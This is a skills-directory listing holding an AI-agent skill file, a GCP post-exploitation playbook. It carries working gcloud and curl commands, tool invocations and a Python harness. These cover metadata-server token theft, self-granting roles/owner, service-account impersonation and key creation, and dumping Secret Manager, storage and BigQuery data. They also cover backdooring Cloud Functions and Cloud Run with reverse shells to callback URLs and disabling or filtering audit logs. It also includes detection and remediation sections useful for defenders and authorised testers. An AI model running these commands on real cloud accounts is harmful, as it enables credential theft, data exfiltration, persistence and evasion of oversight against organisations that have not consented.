Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Gcp Postexploit?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/harezadmm-gcp-postexploit)
---
name: gcp-postexploit
description: GCP post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via google-cloud SDK
category: post-exploitation
tags: [gcp, cloud, post-exploitation, iam, gcs, cloud-functions, secret-manager, credential-access, defense-evasion, persistence]
tech_stack: [gcp, gcloud-cli, gsutil]
cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1552.005]
prerequisites: [T1078.004, T1552.005]
version: "1.0"
---
# GCP Post-Exploitation Methodology
GCP post-exploitation uses gcloud CLI and the GCE metadata endpoint (via native fetch) to perform privilege escalation, data exfiltration, and persistence after compromising service account credentials or gaining Compute Engine instance access. No Python dependency — all operations use native TypeScript with gcloud/gsutil CLI calls.
## Prerequisites
Before deploying gcphook tools, verify:
1. **Valid GCP credentials** — application default credentials, service account key, or metadata endpoint
2. **gcloud CLI installed** — `gcloud version`
3. **Current identity** — `gcloud auth list` to confirm active account
4. **Project** — set via `--project` or default project
```bash
# Quick prerequisite check
gcloud auth list # verify credentials
gcloud config get-value project # verify project
gcloud version # verify CLI
```
## Kill Chain Phases
### Phase 1 — Situational Awareness (First 60 seconds)
Understand the GCP environment and current permissions.
| Action | Command | Purpose |
|--------|---------|---------|
| Project enumeration | `gcphook gcp_enum` | Map IAM bindings, service accounts, Compute, GCS, SQL, Functions, GKE |
| Metadata harvest | `gcphook metadata_harvest_gcp` | Extract SA credentials from metadata endpoint (metadata.google.internal) |
| Audit log status | `gcphook audit_log_tamper --action status` | Check audit logging before noisy operations |
### Phase 2 — Privilege Escalation
Exploit IAM misconfigurations to gain higher privileges.
| Action | Command | Purpose |
|--------|---------|---------|
| SA impersonation | `gcphook gcp_privesc --method impersonate --target-sa SA_EMAIL` | Generate access token via SA impersonation |
| setIamPolicy | `gcphook gcp_privesc --method set_iam_policy` | Self-escalate via project IAM policy modification |
| actAs check | `gcphook gcp_privesc --method act_as --target-sa SA_EMAIL` | Check actAs permission for SA attachment |
| Token creation | `gcphook gcp_privesc --method token_create --target-sa SA_EMAIL` | Generate identity token for SA |
### Phase 3 — Data Exfiltration
Extract sensitive data from GCP services.
| Action | Command | Purpose |
|--------|---------|---------|
| GCS dump | `gcphook gcs_dump` | Find and download sensitive files from all GCS buckets |
| Secrets extraction | `gcphook secrets_dump_gcp` | Extract all secrets from Google Secret Manager |
| Disk snapshot | `gcphook compute_snapshot --disk DISK --zone ZONE` | Snapshot Compute Engine disks for offline access |
| BigQuery dump | `gcphook bigquery_dump --dataset DATASET --query SQL` | Extract data from BigQuery datasets |
| Pub/Sub sniff | `gcphook pubsub_sniff --topic TOPIC` | Intercept messages from Pub/Sub topics |
### Phase 4 — Persistence
Establish persistent access to the GCP environment.
| Action | Command | Purpose |
|--------|---------|---------|
| Function backdoor | `gcphook cloudfunc_backdoor --function-name NAME --callback-url URL` | Inject reverse shell into Cloud Function |
| Function creation | `gcphook cloudfunc_backdoor --method create --function-name NAME --callback-url URL` | Create new backdoor Cloud Function |
| Cloud Run backdoor | `gcphook cloud_run_backdoor --service NAME --image IMAGE --callback-url URL` | Deploy Cloud Run service with exfil container |
| GKE enum | `gcphook gke_enum --cluster NAME --zone ZONE` | Enumerate GKE clusters, extract kubeconfig |
### Phase 5 — Operational Security
Reduce detection footprint.
| Action | Command | Purpose |
|--------|---------|---------|
| Disable data access logs | `gcphook audit_log_tamper --action disable_data_access` | Remove data access audit logging |
| Modify log sinks | `gcphook audit_log_tamper --action modify_sink` | Filter sensitive operations from log sinks |
### Phase 6 — Cleanup (MANDATORY)
```
gcphook cleanup_gcp
```
The cleanup tool:
1. Deletes CyberStrike-created Compute Engine snapshots (cs-* prefix)
2. Removes backdoor Cloud Functions
3. Removes Cloud Run services (cs-* prefix)
4. Removes Pub/Sub sniff subscriptions (cs-sniff-* prefix)
5. Removes CyberStrike-added IAM bindings
6. Restores audit logging configuration (re-enables data access logs)
7. Supports `--dry-run` for safe preview
## Detection Considerations
GCP post-exploitation tools are detectable by:
- **Cloud Audit Logs** — All admin and data access API calls logged. Key events: SetIamPolicy, GenerateAccessToken, functions.create
- **Security Command Center** — Anomalous IAM behavior, privilege escalation detection
- **VPC Flow Logs** — Network traffic to metadata endpoint and external C2
- **Access Transparency** — Logs of Google staff access (Enterprise feature)
- **Organization Policy** — Constraints on service account key creation, external sharing
- **Event Threat Detection** — Anomalous service account usage, credential compromise indicators
## Program Reference
| Program | Technique | MITRE ATT&CK |
|---------|-----------|---------------|
| gcp_enum | Project-wide IAM/compute/storage enumeration | T1087.004 — Cloud Account |
| gcp_privesc | IAM privilege escalation via impersonation/setIamPolicy | T1098 — Account Manipulation |
| gcs_dump | GCS bucket data exfiltration | T1530 — Data from Cloud Storage |
| metadata_harvest_gcp | Metadata endpoint credential extraction | T1552.005 — Cloud Instance Metadata API |
| secrets_dump_gcp | Secret Manager extraction | T1555.006 — Cloud Secrets Management Stores |
| cloudfunc_backdoor | Cloud Function backdoor for persistence | T1525 — Implant Internal Image |
| audit_log_tamper | Audit log evasion | T1562.008 — Disable Cloud Logs |
| compute_snapshot | Disk snapshot for data exfiltration | T1537 — Transfer Data to Cloud Account |
| bigquery_dump | BigQuery dataset and table extraction | T1530 — Data from Cloud Storage |
| gke_enum | GKE cluster enumeration and credential extraction | T1613 — Container and Resource Discovery |
| cloud_run_backdoor | Cloud Run service backdoor deployment | T1525 — Implant Internal Image |
| pubsub_sniff | Pub/Sub message interception | T1557 — Adversary-in-the-Middle |
| cleanup_gcp | Remove all CyberStrike artefacts | T1070 — Indicator Removal |
---
## Evidence Standard
Every claim in a GCP post-exploitation report must be reproducible from the same starting principal.
GCP IAM is a resource hierarchy: a project-level grant says nothing about organisation-level reach,
and a service-account key proves an identity, not the permissions that identity holds.
| Item | Command | Why |
|---|---|---|
| Foothold identity | `gcloud auth list`; `gcloud config get-value project` | the active account and the project the rest of the findings are scoped to |
| Token identity | `curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \| jq -r .access_token` | the IMDS artefact on a Compute Engine instance |
| Effective bindings | `gcloud projects get-iam-policy PROJECT --format=json` | the grant that produced the escalation |
| Organisation guardrails | `gcloud organizations get-iam-policy ORG_ID`; `gcloud resource-manager org-policies describe CONSTRAINT --organization=ORG_ID` | an org policy can deny the action regardless of IAM |
| Impersonation reach | `gcloud iam service-accounts get-iam-policy SA_EMAIL` | `roles/iam.serviceAccountTokenCreator` is the escalation primitive |
| Escalation proof | `gcloud auth print-access-token` for the target SA, then a call as that SA | shows the identity actually changed |
| Scope of the key | `gcloud iam service-accounts keys list --iam-account SA_EMAIL` | a key is an identity, not a permission set |
| Data reach | `gcloud storage ls gs://BUCKET/ --recursive --long` | listing is not reading; read an object and report the byte count |
| Audit posture | `gcloud logging sinks list`; `gcloud projects describe PROJECT --format='value(lifecycleState)'` | decides whether the activity is recoverable as evidence |
### Verify the identity — from the CLI and from the metadata server
```bash
# CLI identity and the project every subsequent claim is scoped to
gcloud auth list
gcloud config get-value project
# The IMDS artefact — the metadata endpoint requires the Google header
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
| jq '{expires_in, token_type, scopes: .scope}'
```
### Prove the escalation is real, not merely granted on paper
```bash
# Which principals can act as this service account? That grant is the primitive.
gcloud iam service-accounts get-iam-policy SA_EMAIL --format=json
# Generate a token as the target SA and confirm the identity actually changed
gcloud auth print-access-token --impersonate-service-account=SA_EMAIL
# Is an org policy or a deny in the way?
gcloud resource-manager org-policies describe constraints/iam.disableServiceAccountKeyCreation \
--organization=ORG_ID
```
### Prove data reach, not bucket existence
```bash
# Enumerate, then read — only a successful object read is data access
gcloud storage ls gs://BUCKET/ --recursive --long | head
gcloud storage cat gs://BUCKET/object.txt | wc -c
```
**The `gcloud auth list` output paired with the IAM binding artefact and the executed impersonation is
the finding.** "The instance had a service-account scope" is an observation; "the instance's default
service account could be impersonated by the project's `ci-runner` principal through
`roles/iam.serviceAccountTokenCreator`, so `gcloud auth print-access-token
--impersonate-service-account` yielded a token with `roles/editor`, confirmed by the IAM policy
retrieved before and after" is a finding.
**False positives — exclude each of these explicitly:**
- **A service-account key mistaken for permission.** A key only authenticates the identity; enumerate
the bindings before claiming reach.
- **An org policy or VPC Service Controls perimeter blocking the action.** VPC-SC in particular
denies data-plane access in a way IAM does not show. Attempt the call and report the exact error.
- **A project-level binding used to claim organisation-wide reach.** State the project explicitly;
a project grant confers nothing at the organisation node.
- **`roles/editor` reported as full control.** Editor cannot manage IAM or billing. State the role.
- **The metadata endpoint reachable but the default SA lacking a token scope.** A token with no
scopes cannot call the API. Read the `scope` field and prove a call.
- **A bucket listed but every object read denied.** Enumeration is metadata, not exfiltration.
- **Audit logs assumed deleted because a sink was modified.** Sinks filter new delivery; existing
retained logs remain. Verify both before and after state.
Record a reproduced impersonation or a successful object read as SOLID. Record a version-matched
privesc technique as PLAUSIBLE until executed. Record a claim refuted by an org policy or VPC-SC as
OVERSTATED.
### Detection and log integrity
| Source | What it records |
|---|---|
| Cloud Audit Logs | admin activity plus data access (if enabled) for the API calls in this file |
| Security Command Center | anomalous IAM behaviour and privilege-escalation findings |
| VPC Flow Logs | traffic to the metadata endpoint and to external C2 |
| Event Threat Detection | anomalous service-account usage and credential-compromise indicators |
| Access Transparency | Google staff access records (Enterprise tier) |
| Org Policy | constraints on key creation and external sharing |
---
## Remediation Reference
1. **Apply least privilege to service accounts and instance service accounts.** Replace the default
Compute Engine service account (which historically carried `roles/editor`) with a purpose-built
account holding only the required roles. Audit bindings with `gcloud projects get-iam-policy` and
remove `roles/editor` and `roles/owner` from every workload identity.
2. **Remove service-account keys and prefer short-lived identity.** Enforce
`constraints/iam.disableServiceAccountKeyCreation` at the organisation, migrate to workload
identity federation or attached service accounts, and delete every user-managed key. A downloaded
key is a credential that survives rotation of everything else.
3. **Restrict impersonation.** `roles/iam.serviceAccountTokenCreator` and
`roles/iam.serviceAccountUser` are escalation primitives: holding them on a privileged service
account is equivalent to holding its permissions. Grant them only where a workload genuinely
needs to mint tokens, and audit the service-account IAM policy for each.
4. **Rotate and invalidate.** Any access token, service-account key, or OAuth refresh token observed
during the engagement must be revoked. Disabling a service account invalidates its keys
immediately — use that where rotation cannot be completed quickly. Assume harvested GCS signed
URLs and Secret Manager versions are live until revoked.
5. **Harden the metadata server path.** Require the `Metadata-Flavor: Google` header on all
application requests and prevent SSRF from reaching `metadata.google.internal` by egress policy
and by requesting the metadata server only over the link-local address from inside the workload.
On GKE, use Workload Identity so pods never hold node-level credentials.
6. **Protect Secret Manager and GCS.** Use CMEK, restrict `roles/secretmanager.secretAccessor` to the
consuming identity only, and enable uniform bucket-level access with public access prevention on
all buckets. An `allUsers` binding is a permanent exposure.
7. **Centralise and lock down logs.** Use an organisation-level aggregated sink to a dedicated
logging project the workload project cannot reach, with bucket retention locks. Enable data access
audit logs for sensitive services — the evasion techniques in this file target exactly that
configuration. Alert on sink modification and on `SetIamPolicy`.
8. **Detect the high-signal events.** Alert on `GenerateAccessToken` and `GenerateIdToken` for
privileged service accounts, on `SetIamPolicy` changes that grant `roles/owner` or impersonation,
on service-account key creation, and on Cloud Function or Cloud Run creation outside a deployment
pipeline — these are the persistence primitives in this file.
9. **Enforce org policy as the backstop.** Constraints on external sharing, on public bucket access,
on key creation, and on allowed regions turn whole categories of this playbook from available
primitives into denied ones, and they apply even when an IAM grant is over-broad.
---
## Related Routing
- [k8s-postexploit](../k8s-postexploit/SKILL.md) — GKE Workload Identity and node credential follow-on
- [aws-postexploit](../aws-postexploit/SKILL.md) · [azure-postexploit](../azure-postexploit/SKILL.md) — the sibling cloud playbooks
- [cloud-assessment](../cloud-assessment/SKILL.md) — exposure before exploitation
- [attack-ssrf](../attack-ssrf/SKILL.md) — the usual route to the metadata endpoint
- [security-reporting-and-documentation](../security-reporting-and-documentation/SKILL.md) — reporting project-scoped findings
- [evidence-standard](../../core-subjects/evidence-standard.md) · [verdict-hierarchy](../../core-subjects/verdict-hierarchy.md) — claim grading
- [cloud](../../core-subjects/cloud.md) — cloud-scope doctrine
---
---
---
## 7. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | What **identity** is the credential, from the provider's own `gcloud auth list`? | the principal and project |
| 2 | Which **IAM bindings** does it hold, and at what resource level? | the permission surface |
| 3 | Did the **control identity fail** the same call you succeeded at? | escalation, not base permission |
| 4 | Did you **read a real resource** (a secret version, an object, a database)? | impact |
| 5 | For a service-account key: is it **still accepted**, and does it outlive the engagement? | live impact, bounded |
| 6 | Did you reach **multiple projects or folders**? | blast radius |
| 7 | Did you reach the **organization level**, where a single binding is total? | the severity driver |
**A binding plus a resource read is the bar.** `gcloud projects get-iam-policy` output is a
configuration statement; a secret version payload is the finding.
---
## 8. EXECUTION PRIMITIVES
GCP post-exploitation is proven by **reading a resource as a principal you hold or escalated into**.
Every block ends at data.
### 8.1 Identity, project, and the control
```bash
# identity and the active project
gcloud auth list --format='value(account)' 2>/dev/null
gcloud config list --format='value(core.project)' 2>/dev/null
# and the project's own view of you, which is the authoritative check
PROJ=$(gcloud config get-value core.project 2>/dev/null)
gcloud projects get-iam-policy "$PROJ" --flatten='bindings[].members' \
--filter="bindings.members:$(gcloud auth list --format='value(account)' --limit=1 2>/dev/null)" \
--format='table(bindings.role)' 2>/dev/null | head -20
# the control: a call that SHOULD be denied at this privilege level
gcloud projects list --format='value(projectId)' 2>&1 | head -3
gcloud iam service-accounts list --format='value(email)' 2>&1 | head -3
```
**Record the principal, the project, and the failing control first.** GCP findings are scoped to a
project or an organization, and the principal email is what the client will revoke.
### 8.2 Enumerate the permission surface and the inventory
```bash
gcloud projects list --format='table(projectId,name)' 2>/dev/null | head -20
gcloud compute instances list --format='table(name,zone,status)' 2>/dev/null | head -20
gcloud storage buckets list --format='table(name,location)' 2>/dev/null | head -20
gcloud secrets list --format='table(name,createTime)' 2>/dev/null | head -20
# and the service accounts, which are the identities you can move into
gcloud iam service-accounts list --format='table(email,displayName)' 2>/dev/null | head -20
# the roles that matter, checked individually
for R in roles/owner roles/editor roles/iam.serviceAccountTokenCreator roles/iam.serviceAccountUser; do
gcloud projects get-iam-policy "$PROJ" --flatten='bindings[].members' \
--filter="bindings.role:$R" --format='value(bindings.members)' 2>/dev/null | head -3 | sed "s/^/$R /"
done
```
**Map each binding to its principal and its resource level.** The difference between a project-level and
an organization-level binding is the difference between one project and the whole estate.
### 8.3 Reading the resources that matter
```bash
# secret manager: list, then READ a version - the read is the finding
gcloud secrets versions access latest --secret=SECRET_NAME 2>/dev/null | head -c 200; echo
gcloud secrets versions list SECRET_NAME --format='table(name,state)' 2>/dev/null | head -10
# storage: an object read, and the bucket ACL, which is where public exposure lives
gcloud storage cat gs://BUCKET/OBJECT 2>/dev/null | head -c 200; echo
gcloud storage buckets describe gs://BUCKET --format='json' 2>/dev/null | head -30
# compute: metadata, startup scripts, and the instance's own service account
gcloud compute instances describe INSTANCE --zone=ZONE \
--format='value(serviceAccounts[].email,metadata.items[].key)' 2>/dev/null | head -10
# and a database, which is usually the real target
gcloud sql instances list --format='table(name,databaseVersion,region)' 2>/dev/null | head -10
```
**A secret version payload or an object body is the finding.** Listing secret names is reconnaissance;
`versions access latest` returning content is the impact.
### 8.4 Service-account impersonation and key creation
```bash
# impersonation is a permission, and the token it yields is the escalation
gcloud auth print-access-token --impersonate-service-account=SA@PROJ.iam.gserviceaccount.com 2>&1 | head -c 120; echo
# and the actAs configuration, which many tools require
gcloud config set auth/impersonate_service_account SA@PROJ.iam.gserviceaccount.com 2>/dev/null
gcloud secrets list --format='value(name)' 2>/dev/null | head -5
gcloud config unset auth/impersonate_service_account 2>/dev/null
# creating a KEY is the persistent form, and it must be deleted afterwards
gcloud iam service-accounts keys create /tmp/sa.json \
--iam-account=SA@PROJ.iam.gserviceaccount.com 2>&1 | head -3
gcloud auth activate-service-account --key-file=/tmp/sa.json 2>&1 | head -3
gcloud auth list --format='value(account)' 2>/dev/null
# verify and then DELETE the key
gcloud iam service-accounts keys list --iam-account=SA@PROJ.iam.gserviceaccount.com --format='table(name.basename(),validAfterTime)'
gcloud iam service-accounts keys delete KEY_ID --iam-account=SA@PROJ.iam.gserviceaccount.com --quiet 2>&1 | head -2
```
**Creating a key is a persistent credential and it must be deleted in the same session.** The final
`keys list` no longer showing it is the evidence that the cleanup happened.
### 8.5 The metadata server and workload identity
```bash
# from a GCE host: the instance's service-account token, no credential required
curl -sS -H 'Metadata-Flavor: Google' \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | head -c 300; echo
curl -sS -H 'Metadata-Flavor: Google' \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"; echo
# and what the identity is bound to, which is the permission set
curl -sS -H 'Metadata-Flavor: Google' \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes" | tr ',' '\n' | head -10
# the project and instance identity, useful for scoping
curl -sS -H 'Metadata-Flavor: Google' "http://metadata.google.internal/computeMetadata/v1/project/project-id"; echo
# and the same from a GKE pod, where the Workload Identity token is projected as a file
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -d. -f2 | base64 -d 2>/dev/null | head -c 300; echo
```
**The scopes list bounds what the token can do, and the token is the finding once used.** A metadata
endpoint that returns scopes but no usable token is a surface, not access.
### 8.6 Escalation paths, each tested and then reverted
```bash
# 1) an account with setIamPolicy can grant itself Owner
gcloud projects add-iam-policy-binding "$PROJ" \
--member="user:$(gcloud auth list --format='value(account)' --limit=1 2>/dev/null)" \
--role=roles/owner 2>&1 | head -3
# 2) a Cloud Function or Cloud Run service with a more privileged identity, redeployable by you
gcloud functions list --format='table(name,runtime)' 2>/dev/null | head -10
gcloud run services list --format='table(name,region)' 2>/dev/null | head -10
# 3) the metadata-based SSH keys, which grant direct host access
gcloud compute instances add-metadata INSTANCE --zone=ZONE \
--metadata=ssh-keys="pentest:$(cat /tmp/key.pub)" 2>&1 | head -3
# 4) and the Cloud Build primitive, which runs as the build service account
gcloud builds submit --tag gcr.io/PROJ/pentest /tmp/ctx 2>&1 | head -5
```
**Every binding you add or metadata key you install must be removed, with the removal verified.** A
left-behind `roles/owner` binding is an incident, not a finding.
### 8.7 The audit trail the activity created
```bash
# the blue-team half: name the events your activity generated
gcloud logging read 'protoPayload.methodName="SetIamPolicy"' --limit=5 --format='value(protoPayload.methodName,timestamp)' 2>/dev/null
for M in google.iam.admin.v1.CreateServiceAccountKey google.iam.admin.v1.SetIamPolicy \
google.cloud.secretmanager.v1.AccessSecretVersion google.cloud.compute.v1.SetMetadata; do
C=$(gcloud logging read "protoPayload.methodName=\"$M\"" --limit=1 --format='value(timestamp)' 2>/dev/null | head -1)
printf '%-58s %s\n' "$M" "${C:-no events}"
done
```
**Naming the audit events is part of the deliverable.** A GCP post-exploitation report that does not tell
the client which log entries to hunt is half a report.
### 8.8 A harness that pairs escalation with its control and cleanup
```bash
python3 - <<'PY'
import subprocess, shlex
def g(cmd, timeout=60):
try:
r = subprocess.run(shlex.split("gcloud " + cmd), capture_output=True, text=True, timeout=timeout)
return r.returncode == 0, (r.stdout + r.stderr).strip()
except Exception as e:
return False, str(e)
ok, who = g("auth list --format=value(account)")
print("principals:", who[:160])
if not ok or not who:
print("not authenticated - stop here"); raise SystemExit
print()
print("CONTROL - calls expected to fail at this privilege level:")
for c in ["projects list", "iam service-accounts list", "secrets list"]:
ok2, out = g(c + " --format=value(name)", 30)
print(" %-30s %s" % (c, ("ALLOWED " + out[:20].replace("\n", " ")) if ok2 else "denied"))
print()
print("READS - one resource per service, which is what proves impact:")
for name, c in [("instances", "compute instances list --format=value(name)"),
("buckets", "storage buckets list --format=value(name)"),
("secrets", "secrets list --format=value(name)")]:
ok3, out = g(c, 60)
print(" %-12s %s %s" % (name, "OK " if ok3 else "FAIL", (out[:80] if ok3 else out[:60])))
print()
print("Report: principal, project, the control results, and each read with its row count.")
print("Remove every IAM binding and service-account key you created; verify both removals.")
PY
```
**Principal, project, control, read, revert.** A report missing the control or the removal evidence is
incomplete.
---
## 9. EVIDENCE STANDARD
| Item | Why |
|---|---|
| The **principal email and project ID** | the scope and the object to revoke |
| The **control call result** at the base privilege | proves escalation |
| The **IAM binding with its resource level** behind each permission | the fix location |
| The **resource read** with a redacted sample | impact |
| For impersonation or a key: **which service account**, and whether the token was used | the escalation step |
| For metadata: the **scopes** returned alongside the token | it bounds what the token can do |
| The **Cloud Audit Log events** the activity produced | the blue-team half |
| The **deletion of every binding, key, and metadata entry**, verified | engagement integrity |
| The key's **expiry or persistence** | live impact vs a removable artefact |
| Confirmation that no **secret payload** is reproduced in full | no unnecessary disclosure |
Report the **principal and the read**: "the compute instance `web-01` in project `prod-app-1234` carries
the service account `web-sa@prod-app-1234.iam.gserviceaccount.com`; the metadata server
(`metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token`) returned a
token with the `cloud-platform` scope without any credential, and the SA holds `roles/secretmanager.secretAccessor`
at the project level; `gcloud secrets versions access latest --secret=db-password` returned the live
database password. The binding is project-scoped, not organization-scoped, so the blast radius is this
project; the same call with the engagement read-only principal is `PERMISSION_DENIED`", never "the
service account is over-permissioned".
### False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
| A binding you **never exercised** | a statement, not access |
| `gcloud auth list` showing a principal | every authenticated principal sees itself |
| A `PERMISSION_DENIED` on a resource | the control working |
| A secret you can **list but not access a version of** | test the read, report the denial |
| A metadata token with **only the `devstorage.read_only` scope** | check what it unlocks before claiming impact |
| A **`roles/viewer`** binding | read is the grant; escalation needs more |
| A service account with **no bindings** | no permissions, no finding |
| A key **created and deleted in the same session** | it is the method, not a standing finding |
| Project access held by an **engagement-provided principal** | in-scope, not escalation |
| A finding against a **personal project** | tests your own environment |
| A secret payload reproduced in full | a disclosure |
**Read a resource, or it is not a finding.** GCP produces long IAM policy documents; they are the
inventory, not the report.
---
## 10. REMEDIATION REFERENCE
1. **Apply least privilege to every service account, and prefer resource-level bindings to project-level ones** - a project `roles/editor` is effectively full control of everything in it.
2. **Eliminate user-managed service-account keys, and prefer Workload Identity and short-lived credentials** - a key that does not exist cannot be exfiltrated.
3. **Restrict `roles/iam.serviceAccountTokenCreator` and `roles/iam.serviceAccountUser`** - either one is the ability to become another identity.
4. **Restrict `roles/owner` and `roles/editor` at the organization level, and alert on `SetIamPolicy`** - the audit event is the reliable detection for every escalation in this document.
5. **Audit Cloud Storage bucket IAM and the `allUsers` / `allAuthenticatedUsers` grants regularly** - public buckets are the highest-frequency GCP exposure.
6. **Enable VPC Service Controls and restrict the metadata server's reachability from application workloads** - it bounds a container-level compromise.
7. **Use Secret Manager with rotation and least-privilege accessors, and alert on `AccessSecretVersion`** - the read is the event that matters.
8. **Enable organization-level audit logging, and export it to a bucket in a separate project with a locked retention policy** - an attacker with project access must not be able to delete the evidence.
9. **Restrict the SSH-key metadata path (`compute.instances.setMetadata`) and audit metadata changes** - it is direct host access without a key exchange.
10. **Review Cloud Build, Cloud Functions, and Cloud Run service accounts, which run code by design** - a deploy permission on those is arbitrary code execution under their identity.
11. **Run the IAM recommender and revoke the permissions it reports as unused** - the unused grants are what an attacker finds useful.
---
## 11. RELATED SIBLINGS - LOAD TOGETHER
- [cloud-assessment](../cloud-assessment/SKILL.md) - the assessment methodology this post-exploitation phase follows
- [aws-postexploit](../aws-postexploit/SKILL.md) - the parallel provider with the same evidence discipline
- [azure-postexploit](../azure-postexploit/SKILL.md) - the third provider, and the same control pattern
- [k8s-postexploit](../k8s-postexploit/SKILL.md) - the container-to-cloud pivot when the cluster runs in GKE
- [credential-access-atomic-tests](../credential-access-atomic-tests/SKILL.md) - the technique mapping for detection engineering
---
## SELF-VERIFY — gcp-postexploit
```bash
wc -c SKILL.md # expect 18000-25000
grep -c '^## ' SKILL.md # expect 6 topological sections
grep -oE '\]\(\.\./[^)]+\)' SKILL.md | tr -d '](' | sed 's/)$//' | sort -u | while read p; do
[ -f "../$p" ] && echo "OK $p" || echo "DEAD $p"; done
for t in 'gcloud auth list' 'Metadata-Flavor: Google' 'metadata.google.internal' \
'print-access-token' 'impersonate-service-account' 'get-iam-policy' \
'serviceAccountTokenCreator' 'org-policies' 'VPC Service Controls' \
'disableServiceAccountKeyCreation' 'Workload Identity' 'T1078.004' 'T1552.005'; do
grep -q "$t" SKILL.md && echo "PASS $t" || echo "MISS $t"; done
```